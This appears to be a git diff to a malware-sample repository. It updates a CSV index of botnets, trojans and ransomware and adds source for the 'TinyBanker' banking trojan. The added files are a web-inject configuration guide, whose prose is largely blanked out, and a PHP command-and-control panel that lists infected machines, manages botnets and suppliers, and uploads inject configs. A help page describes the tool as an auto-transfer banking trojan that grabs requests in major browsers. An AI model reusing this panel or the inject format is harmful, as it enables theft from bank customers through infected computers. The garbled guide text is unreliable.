+10,Source/Original/vbBot_Jan2007/vbBot_Jan2007,botnet,vbBot,unknown,unknown,vb,Jan-07,x86,win32,0 +11,Source/Original/xTBot0.0.2_2Feb2002/xTBot0.0.2_2Feb2002,botnet,xTBot,0.0.2,unknown,cpp,Feb-02,x86,win32,0 12,Source/Original/VBS.Win32.Vabian/VBS.Win32.Vabian,VBS-Worm,VBS.Win32.Vabian,botnet,unknown,vb,unknown,x86,win32,0 13,Source/Original/DopeBotv0.22_CrippledFeb2007/DopeBotv0.22_CrippledFeb2007,botnet,DopeBot-Crippled,0.22,unknown,cpp,00/02/2007,x86,win32,0 14,Source/Original/Win32.MiniPig_Nov2006/Win32.MiniPig_Nov2006,Worm,Win32.MiniPig,virus,unknown,c,00/11/2006,x86,win32,0 -15,Source/Original/HellBotv3.0_10June2005/HellBotv3.0_10June2005,botnet,Hellbot,3.0,unknown,cpp,00/06/2005,x86,win32,0 +15,Source/Original/HellBotv3.0_10June2005/HellBotv3.0_10June2005,botnet,Hellbot,3,unknown,cpp,00/06/2005,x86,win32,0 16,Source/Original/Win32.ogw0rm_Nov2008/Win32.ogw0rm_Nov2008,Worm,Win32.ogwOrm,unknown,unknown,cpp,00/11/2008,x86,win32,0 17,Source/Original/DopeBot.B_Dec2004/DopeBot.B_Dec2004,botnet,DopeBot.B,unknown,unknown,cpp,00/12/2004,x86,win32,0 18,Source/Original/LiquidBot_May2005/LiquidBot_May2005,botnet,LiquidBot,unknown,unknown,cpp,00/05/2005,x86,win32,0 @@ -28,11 +28,11 @@ 29,Binaries/Trojan.Dropper.Gen/Trojan.Dropper.Gen,trojan,Dropper,Unknown,Unknown,bin,00/01/2014,x86,win32,0 30,Binaries/Trojan.NSIS.Win32/Trojan.NSIS.Win32,trojan,NSIS,Unknown,Unknown,bin,00/01/2014,x86,win32,0 31,Binaries/Trojan.Win32.Bechiro.BCD/Trojan.Win32.Bechiro.BCD,trojan,Bechiro,BCD,Unknown,bin,00/01/2014,x86,win32,0 -32,Binaries/AndroRat_6Dec2013/AndroRat_6Dec2013,botnet,AndroRat,Dec2013,Unknown,java,06/12/2013,x86,win32,0 -33,Binaries/CryptoLocker_22Jan2014/CryptoLocker_22Jan2014,ransomeware,CryptoLocker,Jan2014,Unknown,bin,22/01/2014,x86,win32,1 +32,Binaries/AndroRat_6Dec2013/AndroRat_6Dec2013,botnet,AndroRat,Dec-13,Unknown,java,06/12/2013,x86,win32,0 +33,Binaries/CryptoLocker_22Jan2014/CryptoLocker_22Jan2014,ransomeware,CryptoLocker,Jan-14,Unknown,bin,22/01/2014,x86,win32,1 34,Binaries/njRAT-v0.6.4/njRAT-v0.6.4,botnet,njRAT,0.6.4,Unknown,bin,00/09/2013,x86,win32,0 -35,Binaries/ZeusBankingVersion_26Nov2013/ZeusBankingVersion_26Nov2013,botnet,Zeus - zBot,Nov2013,Unknown,bin,23/11/2013,x86,win32,1 -36,Source/Original/NullBot_Dec2006/NullBot_Dec2006,botnet,NullBot,Dec2006,Unknown,cpp,00/12/2006,x86,win32,0 +35,Binaries/ZeusBankingVersion_26Nov2013/ZeusBankingVersion_26Nov2013,botnet,Zeus - zBot,Nov-13,Unknown,bin,23/11/2013,x86,win32,1 +36,Source/Original/NullBot_Dec2006/NullBot_Dec2006,botnet,NullBot,Dec-06,Unknown,cpp,00/12/2006,x86,win32,0 37,Binaries/Artemis,trojan,Artemis,Unknown,Unknown,bin,00/00/0000,x86,win32,0 38,Binaries/Somoto,apt,Somoto,unknown,unknown,bin,00/00/0000,x86,win32,0 39,Binaries/Variant.Kazy,trojan,Variant.Kazy,unknown,unknown,bin,00/00/0000,x86,win32,0 @@ -59,3 +59,4 @@ 60,Binaries/SpyEye,botnet,SpyEye,Unknown,Unknown,bin,23/06/2014,x86,win32,0 61,Binaries/Powerliks,botnet,Powerliks,Unknown,Unknown,bin,09/08/2014,x86,win32,1 62,Binaries/ZeroLocker,ransomware,Zerolocker,A,Unknown,bin,09/08/2014,x86,win32,0 +63,Sources/Original/TinyBanker_Jan2012,botnet,Tiny Banker,A,Russia,asm,00/01/2012,x86,win32,0 diff --git a/malwares/Source/Original/TinyBanker_Jan2012/INJECTS.TXT b/malwares/Source/Original/TinyBanker_Jan2012/INJECTS.TXT new file mode 100644 index 0000000..d386067 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/INJECTS.TXT @@ -0,0 +1,215 @@ +08.04.12 + - + + set_url ( ) 2 : + URL - -. + . set_url . + : + G - - GET URL + P - - POST URL + L - -, - + : + * - , + # - , # + ? - + + set_url -. set_url . + - : data_before, data_inject, data_after. + , . + data_end , . + . , . + : + data_before - + data_after - + data_inject - , + , , . + + #1. -: +set_url http://ya.ru/ gp +data_before + +data_end +data_inject +New Title +data_end +data_after + +data_end +- http://ya.ru/ GET POST . + New Title . . + + #2. : +SET_URL http://ya.ru/ PG +DATA_BEFORE + +DATA_END +DATA_AFTER + +DATA_END +data_after + +data_end +data_before +New Body +data_end + - . + . + data_before data_after data_inject. + data_before data_after data_inject. .. + + #3. : +set_url *Ya.Ru* GP +data_before + +data_end +data_inject +MASK +data_end +data_after + +data_end +- ya.ru ( ) GET POST . + MASK . . + + #4. : +set_url http://ya.ru/ GPL +data_before + +data_end +data_inject +Grabbed Title +data_end +data_after + +data_end +- http://ya.ru/ GET POST . + Grabbed Title. + + + + + + + + data_inject +%BOTUID% ( ) - +%BOTDATA_varname% ( ) - varname + + GET . + , + : %SAVEDATA_varname=777% - 777 varname + : http://microsoft.com/?blabla%SAVEDATA_var1=one%blabla%SAVEDATA_var2=two%blabla + + + + + + - L + + #1. : +set_url http://ya.ru/ G(L) +data_before + +data_end +data_inject +#1 +data_end +data_after + +data_end + data_inject data_before data_after +(L) data_before data_after data_inject + + #2. : +set_url http://ya.ru/ G(L) +data_before +data_end +data_inject +data_end +data_after +data_end + +(L) + + #3. data_before data_after , data_inject : +set_url http://ya.ru/ G(L) +data_before +data_end +data_inject +#3 +data_end +data_after +data_end + data_inject +(L) data_inject + + #4. data_inject data_after , data_before : +set_url http://ya.ru/ G(L) +data_before + +data_end +data_inject +data_end +data_after +data_end + data_before +(L) data_before + + #5. data_before data_inject , data_after : +set_url http://ya.ru/ G(L) +data_before +data_end +data_inject +data_end +data_after + +data_end + data_after +(L) data_after + + #6. data_before data_after , data_inject : +set_url http://ya.ru/ G(L) +data_before + +data_end +data_inject +data_end +data_after + +data_end + data_before data_after +(L) data_before data_after + + #7. data_inject data_after , data_before : +set_url http://ya.ru/ G(L) +data_before +data_end +data_inject +#7 +data_end +data_after + +data_end + data_inject data_after +(L) data_after data_inject + + + #8. data_before data_inject , data_after : +set_url http://ya.ru/ G(L) +data_before + +data_end +data_inject +#8 +data_end +data_after +data_end + data_inject data_before +(L) data_before data_inject + diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/.htaccess b/malwares/Source/Original/TinyBanker_Jan2012/admin/.htaccess new file mode 100644 index 0000000..45552cb --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/.htaccess @@ -0,0 +1 @@ +Options -Indexes \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/AJAX_REQUEST_LOG.txt b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/AJAX_REQUEST_LOG.txt new file mode 100644 index 0000000..adf6e50 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/AJAX_REQUEST_LOG.txt @@ -0,0 +1 @@ +logs_ids=&bots_uids=&from_date=logs_120424&to_date=logs_120424&from_time=&to_time=&ip_mask%5B%5D=&ip_mask%5B%5D=&ip_mask%5B%5D=&ip_mask%5B%5D=&phrase=&limit=999 \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/botnets.act.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/botnets.act.php new file mode 100644 index 0000000..1d0f7f4 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/botnets.act.php @@ -0,0 +1,44 @@ +<?php + + if (!BOT) exit(); + + +if (isset($_POST['botnet'])) { + if (array_key_exists($_POST['botnet'], $BOTNETS)) exit('Botnet name already exist'); + if (strlen($_POST['botnet']) > 12) exit('Botnet name too long'); + if (!preg_match("/^[a-zA-Z0-9_]+$/", $_POST['botnet'])) exit('Botnet name tabcontains forbidden symbols'); + if (strlen($_POST['passwd']) > 16) exit('Botnet password too long'); + if (!preg_match("/^[a-zA-Z0-9_]+$/", $_POST['passwd'])) exit('Botnet password tabcontains forbidden symbols'); + if (strlen($_POST['comment']) > 128) exit('Comment too long'); + if ($_POST['comment']!='' and !preg_match("/^[a-zA-Z0-9\s.,_]+$/", $_POST['comment'])) exit('Comment tabcontains forbidden symbols'); + + $fp = fopen('../data/titles/botnets.php', 'a'); + flock($fp, LOCK_EX); + fwrite ($fp, " \$BOTNETS['{$_POST['botnet']}'] = array('password' => '{$_POST['passwd']}', 'comment' => '{$_POST['comment']}');\n"); + flock($fp, LOCK_UN); + fclose ($fp); + + exit('success'); +} + + +if (isset($_POST['supplier'])) { + if (array_key_exists($_POST['supplier'], $SUPPLIERS)) exit('Supplier name already exist'); + if (strlen($_POST['supplier']) > 12) exit('Supplier name too long'); + if (!preg_match("/^[a-zA-Z0-9_]+$/", $_POST['supplier'])) exit('Supplier name tabcontains forbidden symbols'); + if (strlen($_POST['comment']) > 128) exit('Comment too long'); + if ($_POST['comment']!='' and !preg_match("/^[a-zA-Z0-9\s.,_]+$/", $_POST['comment'])) exit('Comment tabcontains forbidden symbols'); + + $fp = fopen('../data/titles/suppliers.php', 'a'); + flock($fp, LOCK_EX); + fwrite ($fp, " \$SUPPLIERS['{$_POST['supplier']}'] = array('comment' => '{$_POST['comment']}');\n"); + flock($fp, LOCK_UN); + fclose ($fp); + + exit('success'); +} + + + exit(); + +?> \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/botnets.botnets.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/botnets.botnets.php new file mode 100644 index 0000000..4e40a58 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/botnets.botnets.php @@ -0,0 +1,58 @@ +<?php + + if (!BOT) exit(); + + + print "<table id='botnets' cellspacing=1 cellpadding=0 class='block'> +<tr class='bothdr'> + <td width=15%>BotNET</td> + <td width=15%>Password</td> + <td width=10%>Bots</td> + <td width=60%>Comment</td> +</tr>\n\n"; + + + reset($BOTNETS); + while ($val = current($BOTNETS)) { + $key = key($BOTNETS); + print "<tr class='botstr'> + <td align=left>[ <b>{$key}</b> ]</td> + <td>{$val['password']}</td> + <td>200000</td> + <td>{$val['comment']}</td> +</tr>\n"; + next($BOTNETS); + } + + + print "</table> + + +<form id='newbotnet'> +<table cellspacing=1 cellpadding=0 class='block'> + <tr> + <td width=15%><input type='text' name='botnet' maxlength=12 id='botnet'></td> + <td width=15%><input type='text' name='passwd' maxlength=16 id='passwd'></td> + <td width=60%><input type='text' name='comment' maxlength=128 id='comment'></td> + <td width=10%><input type='submit' value='Add new botnet' class='srchbtn'></td> + </tr> +</table> +</form> + + +<script> + $('#newbotnet').submit(function() { + var frm = $(this); + if ($(frm).find('#botnet').val() == '') { alert('Botnet name is not specified'); return false; } + if ($(frm).find('#passwd').val() == '') { alert('Botnet password is not specified'); return false; } + $(frm).find(':submit').attr('disabled', true); + $.post('?botnets', $(frm).serialize(), function(data) { + if (data == 'success') $('#botnets').append('<tr class=\'botstr\'><td align=left>[ <b>'+$(frm).find('#botnet').val()+'</b> ]</td><td>'+$(frm).find('#passwd').val()+'</td><td>200000</td><td>'+$(frm).find('#comment').val()+'</td></tr>'); + else alert(data); + $(frm).find(':submit').attr('disabled', false); + }); + return false; + }); +</script>\n\n\n"; + +?> \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/botnets.bots.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/botnets.bots.php new file mode 100644 index 0000000..732926a --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/botnets.bots.php @@ -0,0 +1,45 @@ +<?php + + if (!BOT) exit(); + + + + print "<table cellspacing=1 cellpadding=0 class=block> +<tr class=bothdr> + <td width=15%>UID</td> + <td width=4%>OS</td> + <td width=10%>[ISO] Country</td> + <td width=10%>IP</td> + <td width=10%>Time</td> + <td width=10%>Botnet</td> + <td width=10%>Supplier (sub)</td> + <td width=25%>Comment</td> + <td width=6%>Control</td> +</tr>\n"; + + + $result = mysql_query("SELECT * FROM `bots` LIMIT 50;") or die("Query failed : " . mysql_error()); + while ($row = mysql_fetch_array($result)) { + print "<tr class=botstr> + <td class=botleft><div style='width:180px;'>{$row['bot_uid']}</div></td> + <td>{$row['bot_os']}</td> + <td class=botleft><div style='width:119px;'>[{$row['bot_country']}] {$GeoIP->GEOIP_COUNTRY_NAMES[$GeoIP->GEOIP_COUNTRY_CODE_TO_NUMBER[$row['bot_country']]]}</div></td> + <td>{$row['bot_ip']}</td> + <td>".date("d/m/Y - H:i:s", $row['time_last'])."</td> + <td><div style='width:119px;'>[ {$row['bot_net']} ]</div></td> + <td><div style='width:119px;'>[ {$row['bot_supp']} ] ({$row['supp_sub']})</div></td> + <td class=botleft><div style='width:303px;'>{$row['comment']}</div></td> + <td>000</td> +</tr>\n"; + } + + + + + print "</table> + + +<script> +</script>\n\n\n"; + +?> \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/botnets.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/botnets.php new file mode 100644 index 0000000..e90b4e4 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/botnets.php @@ -0,0 +1,62 @@ +<?php + + if (!BOT) exit(); + + + if (IS_AJAX_REQUEST) include "botnets.act.php"; + + + print "<!-- TABS begin --> +<table width=100% cellspacing=0 cellpadding=0> +<tr> + <td nowrap class=tab_psv id='tl_1'><a href='javascript:sel(1);'>BOTs</a></td> + <td nowrap class=tab_psv id='tl_2'><a href='javascript:sel(2);'>BotNETs</a></td> + <td nowrap class=tab_psv id='tl_3'><a href='javascript:sel(3);'>Suppliers</a></td> + <td class=no_tab> </td> +</tr> +</table> +<!-- TABS end --> + + + +<!-- TAB 1 begin --> +<table cellspacing=0 id='el_1' class=tabcont style='display:none'> +<tr> + <td> + <!-- TAB 1 tabcontent begin -->\n"; + include "botnets.bots.php"; + print " <!-- TAB 1 tabcontent end --> + </td> +</tr> +</table> +<!-- TAB 1 end --> + + + +<!-- TAB 2 begin --> +<table cellspacing=0 id='el_2' class=tabcont style='display:none'> +<tr> + <td> + <!-- TAB 2 tabcontent begin -->\n"; + include "botnets.botnets.php"; + print " <!-- TAB 2 tabcontent end --> + </td> +</tr> +</table> +<!-- TAB 2 end --> + + + +<!-- TAB 3 begin --> +<table cellspacing=0 id='el_3' class=tabcont style='display:none'> +<tr> + <td> + <!-- TAB 3 tabcontent begin -->\n"; + include "botnets.suppliers.php"; + print " <!-- TAB 3 tabcontent end --> + </td> +</tr> +</table> +<!-- TAB 3 end -->"; + +?> \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/botnets.suppliers.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/botnets.suppliers.php new file mode 100644 index 0000000..6d7f0d5 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/botnets.suppliers.php @@ -0,0 +1,57 @@ +<?php + + if (!BOT) exit(); + + + print "<table id='suppliers' cellspacing=1 cellpadding=0 class='block'> +<tr class='bothdr'> + <td width=15%>Supplier</td> + <td width=10%>Bots</td> + <td width=75%>Comment</td> +</tr>\n\n"; + + + + reset($SUPPLIERS); + while ($val = current($SUPPLIERS)) { + $key = key($SUPPLIERS); + print "<tr class='botstr'> + <td align=left>[ <b>{$key}</b> ]</td> + <td>200000</td> + <td>{$val['comment']}</td> +</tr>\n"; + next($SUPPLIERS); + } + + + + print "</table> + + +<form id='newsupplier'> +<table cellspacing=1 cellpadding=0 class='block'> + <tr> + <td width=15%><input type='text' name='supplier' maxlength=12 id='supplier'></td> + <td width=75%><input type='text' name='comment' maxlength=128 id='comment'></td> + <td width=10%><input type='submit' value='Add new supplier' class='srchbtn'></td> + </tr> +</table> +</form> + + + +<script> + $('#newsupplier').submit(function() { + var frm = $(this); + if ($(frm).find('#supplier').val() == '') { alert('Supplier name is not specified'); return false; } + $(frm).find(':submit').attr('disabled', true); + $.post('?botnets', $(frm).serialize(), function(data) { + if (data == 'success') $('#suppliers').append('<tr class=\'botstr\'><td align=left>[ <b>'+$(frm).find('#supplier').val()+'</b> ]</td><td>200000</td><td>'+$(frm).find('#comment').val()+'</td></tr>'); + else alert(data); + $(frm).find(':submit').attr('disabled', false); + }); + return false; + }); +</script>\n\n\n"; + +?> \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/configs.act.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/configs.act.php new file mode 100644 index 0000000..37f230d --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/configs.act.php @@ -0,0 +1,8 @@ +<?php + + if (!BOT) exit(); + + + exit(); + +?> \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/configs.configs.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/configs.configs.php new file mode 100644 index 0000000..68c2276 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/configs.configs.php @@ -0,0 +1,38 @@ +<?php + + if (!BOT) exit(); + + + + if ($_POST['delete']) { + unlink('../data/configs/config'); + } + elseif (!empty($_FILES)) { + $DATA = file_get_contents($_FILES['cfgfile']['tmp_name']); + $DATA = str_replace("\r\n", "\n", $DATA); + $DATA = str_replace("\r", "\n", $DATA); + file_put_contents('../data/configs/config', "\n".$DATA."\n"); + } + + + clearstatcache(); + $STAT = @stat('../data/configs/config'); + + print "<form method=post enctype=multipart/form-data> +<table cellspacing=1 cellpadding=0 class=block> + <tr> + <td width=250px><b>CONFIGS<br><br>"; + + + if ($STAT['mtime']) print " file size: {$STAT['size']} bytes<br> + uploaded: ".date("d/m/Y - H:i:s", $STAT['mtime'])."</b><br><br> + <input type=submit class=button name='delete' value='DELETE'>"; + + + print "</td> + <td><input type=file style='width:200px;' name='cfgfile'> <input type=submit class=button value='GO'></td> + </tr> +</table> +</form>"; + +?> \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/configs.correlation.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/configs.correlation.php new file mode 100644 index 0000000..e4bf5df --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/configs.correlation.php @@ -0,0 +1,8 @@ +<?php + + if (!BOT) exit(); + + + print "correlation"; + +?> \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/configs.editor.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/configs.editor.php new file mode 100644 index 0000000..b7e031b --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/configs.editor.php @@ -0,0 +1,8 @@ +<?php + + if (!BOT) exit(); + + + print "editor"; + +?> \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/configs.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/configs.php new file mode 100644 index 0000000..202d7b1 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/configs.php @@ -0,0 +1,62 @@ +<?php + + if (!BOT) exit(); + + + if (IS_AJAX_REQUEST) include "configs.act.php"; + + + print "<!-- TABS begin --> +<table width=100% cellspacing=0 cellpadding=0> +<tr> + <td nowrap class=tab_psv id='tl_1'><a href='javascript:sel(1);'>Configs</a></td> + <td nowrap class=tab_psv id='tl_2'><a href='javascript:sel(2);'>Correlation</a></td> + <td nowrap class=tab_psv id='tl_3'><a href='javascript:sel(3);'>Editor</a></td> + <td class=no_tab> </td> +</tr> +</table> +<!-- TABS end --> + + + +<!-- TAB 1 begin --> +<table cellspacing=0 id='el_1' class=tabcont style='display:none'> +<tr> + <td> + <!-- TAB 1 tabcontent begin -->\n"; + include "configs.configs.php"; + print " <!-- TAB 1 tabcontent end --> + </td> +</tr> +</table> +<!-- TAB 1 end --> + + + +<!-- TAB 2 begin --> +<table cellspacing=0 id='el_2' class=tabcont style='display:none'> +<tr> + <td> + <!-- TAB 2 tabcontent begin -->\n"; + include "configs.correlation.php"; + print " <!-- TAB 2 tabcontent end --> + </td> +</tr> +</table> +<!-- TAB 2 end --> + + + +<!-- TAB 3 begin --> +<table cellspacing=0 id='el_3' class=tabcont style='display:none'> +<tr> + <td> + <!-- TAB 3 tabcontent begin -->\n"; + include "configs.editor.php"; + print " <!-- TAB 3 tabcontent end --> + </td> +</tr> +</table> +<!-- TAB 3 end -->"; + +?> \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/events.act.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/events.act.php new file mode 100644 index 0000000..37f230d --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/events.act.php @@ -0,0 +1,8 @@ +<?php + + if (!BOT) exit(); + + + exit(); + +?> \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/events.events1.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/events.events1.php new file mode 100644 index 0000000..b00f0c7 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/events.events1.php @@ -0,0 +1,8 @@ +<?php + + if (!BOT) exit(); + + + print "events1"; + +?> \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/events.events2.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/events.events2.php new file mode 100644 index 0000000..6b5a40f --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/events.events2.php @@ -0,0 +1,8 @@ +<?php + + if (!BOT) exit(); + + + print "events2"; + +?> \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/events.events3.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/events.events3.php new file mode 100644 index 0000000..0bad666 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/events.events3.php @@ -0,0 +1,8 @@ +<?php + + if (!BOT) exit(); + + + print "events3"; + +?> \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/events.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/events.php new file mode 100644 index 0000000..8cbf2ac --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/events.php @@ -0,0 +1,62 @@ +<?php + + if (!BOT) exit(); + + + if (IS_AJAX_REQUEST) include "events.act.php"; + + + print "<!-- TABS begin --> +<table width=100% cellspacing=0 cellpadding=0> +<tr> + <td nowrap class=tab_psv id='tl_1'><a href='javascript:sel(1);'>events1</a></td> + <td nowrap class=tab_psv id='tl_2'><a href='javascript:sel(2);'>events2</a></td> + <td nowrap class=tab_psv id='tl_3'><a href='javascript:sel(3);'>events3</a></td> + <td class=no_tab> </td> +</tr> +</table> +<!-- TABS end --> + + + +<!-- TAB 1 begin --> +<table cellspacing=0 id='el_1' class=tabcont style='display:none'> +<tr> + <td> + <!-- TAB 1 tabcontent begin -->\n"; + include "events.events1.php"; + print " <!-- TAB 1 tabcontent end --> + </td> +</tr> +</table> +<!-- TAB 1 end --> + + + +<!-- TAB 2 begin --> +<table cellspacing=0 id='el_2' class=tabcont style='display:none'> +<tr> + <td> + <!-- TAB 2 tabcontent begin -->\n"; + include "events.events2.php"; + print " <!-- TAB 2 tabcontent end --> + </td> +</tr> +</table> +<!-- TAB 2 end --> + + + +<!-- TAB 3 begin --> +<table cellspacing=0 id='el_3' class=tabcont style='display:none'> +<tr> + <td> + <!-- TAB 3 tabcontent begin -->\n"; + include "events.events3.php"; + print " <!-- TAB 3 tabcontent end --> + </td> +</tr> +</table> +<!-- TAB 3 end -->"; + +?> \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/filter.act.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/filter.act.php new file mode 100644 index 0000000..37f230d --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/filter.act.php @@ -0,0 +1,8 @@ +<?php + + if (!BOT) exit(); + + + exit(); + +?> \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/filter.filter1.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/filter.filter1.php new file mode 100644 index 0000000..ba92046 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/filter.filter1.php @@ -0,0 +1,8 @@ +<?php + + if (!BOT) exit(); + + + print "filter1"; + +?> \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/filter.filter2.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/filter.filter2.php new file mode 100644 index 0000000..3137b60 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/filter.filter2.php @@ -0,0 +1,8 @@ +<?php + + if (!BOT) exit(); + + + print "filter2"; + +?> \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/filter.filter3.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/filter.filter3.php new file mode 100644 index 0000000..908c6f1 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/filter.filter3.php @@ -0,0 +1,8 @@ +<?php + + if (!BOT) exit(); + + + print "filter3"; + +?> \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/filter.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/filter.php new file mode 100644 index 0000000..27fe792 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/filter.php @@ -0,0 +1,62 @@ +<?php + + if (!BOT) exit(); + + + if (IS_AJAX_REQUEST) include "filter.act.php"; + + + print "<!-- TABS begin --> +<table width=100% cellspacing=0 cellpadding=0> +<tr> + <td nowrap class=tab_psv id='tl_1'><a href='javascript:sel(1);'>filter1</a></td> + <td nowrap class=tab_psv id='tl_2'><a href='javascript:sel(2);'>filter2</a></td> + <td nowrap class=tab_psv id='tl_3'><a href='javascript:sel(3);'>filter3</a></td> + <td class=no_tab> </td> +</tr> +</table> +<!-- TABS end --> + + + +<!-- TAB 1 begin --> +<table cellspacing=0 id='el_1' class=tabcont style='display:none'> +<tr> + <td> + <!-- TAB 1 tabcontent begin -->\n"; + include "filter.filter1.php"; + print " <!-- TAB 1 tabcontent end --> + </td> +</tr> +</table> +<!-- TAB 1 end --> + + + +<!-- TAB 2 begin --> +<table cellspacing=0 id='el_2' class=tabcont style='display:none'> +<tr> + <td> + <!-- TAB 2 tabcontent begin -->\n"; + include "filter.filter2.php"; + print " <!-- TAB 2 tabcontent end --> + </td> +</tr> +</table> +<!-- TAB 2 end --> + + + +<!-- TAB 3 begin --> +<table cellspacing=0 id='el_3' class=tabcont style='display:none'> +<tr> + <td> + <!-- TAB 3 tabcontent begin -->\n"; + include "filter.filter3.php"; + print " <!-- TAB 3 tabcontent end --> + </td> +</tr> +</table> +<!-- TAB 3 end -->"; + +?> \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/help.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/help.php new file mode 100644 index 0000000..b2b2886 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/help.php @@ -0,0 +1,114 @@ +<?php + + if (!defined('BOT')) die; + + + print "<!-- TABS begin --> +<table width=100% cellspacing=0 cellpadding=0> +<tr> + <td nowrap class=tab_psv id='tl_1'><a href='javascript:sel(1);'>About</a></td> + <td nowrap class=tab_psv id='tl_2'><a href='javascript:sel(2);'>EULA</a></td> + <td nowrap class=tab_psv id='tl_3'><a href='javascript:sel(3);'>Manual</a></td> + <td nowrap class=tab_psv id='tl_4'><a href='javascript:sel(4);'>Support</a></td> + <td class=no_tab> </td> +</tr> +</table> +<!-- TABS end --> + + + +<!-- TAB 1 begin --> +<table cellspacing=0 id='el_1' class=tabcont style='display:none'> +<tr> + <td> + <!-- TAB 1 tabcontent begin --> + + <table width=100% cellspacing=1 cellpadding=0 class=block> + <tr align=left> + <td style='padding-left:5px;'> +<br><b>{$MYNAME}. Auto transfer oriented banking trojan.</b><br><br> +<b>Features:</b><br><br> +Requests grabbing and web injects:<br> +- Internet Explorer http(s)<br> +- Mozilla Firefox http(s)<br> +- Google Chrome https<br><br> + </td> + </tr> + </table> + + <!-- TAB 1 tabcontent end --> + </td> +</tr> +</table> +<!-- TAB 1 end --> + + + +<!-- TAB 2 begin --> +<table cellspacing=0 id='el_2' class=tabcont style='display:none'> +<tr> + <td> + <!-- TAB 2 tabcontent begin --> + + <table width=100% cellspacing=1 cellpadding=0 class=block> + <tr align=left> + <td style='padding-left:5px;'> +<br><b>End User License Agreement</b><br><br> +This is the <b>{$MYNAME}</b> project.<br> +This tool is intended for legal security research, education and testing purposes only.<br> +It is not intended to be used for any unauthorized or illicit purposes.<br> +Any testing done with this tool must be limited to systems that you own or are explicitly authorized to test.<br> +Using this tool, you assume any and all responsibility for consequences which can arise up.<br> +Authors take no responsibility under any circumstances and damages that arises from your possession of this tool or using the code presented here.<br> +If you do not agree, you dont authorised to use this tool and must immediately delete it.<br><br> + </td> + </tr> + </table> + + <!-- TAB 2 tabcontent end --> + </td> +</tr> +</table> +<!-- TAB 2 end --> + + + +<!-- TAB 3 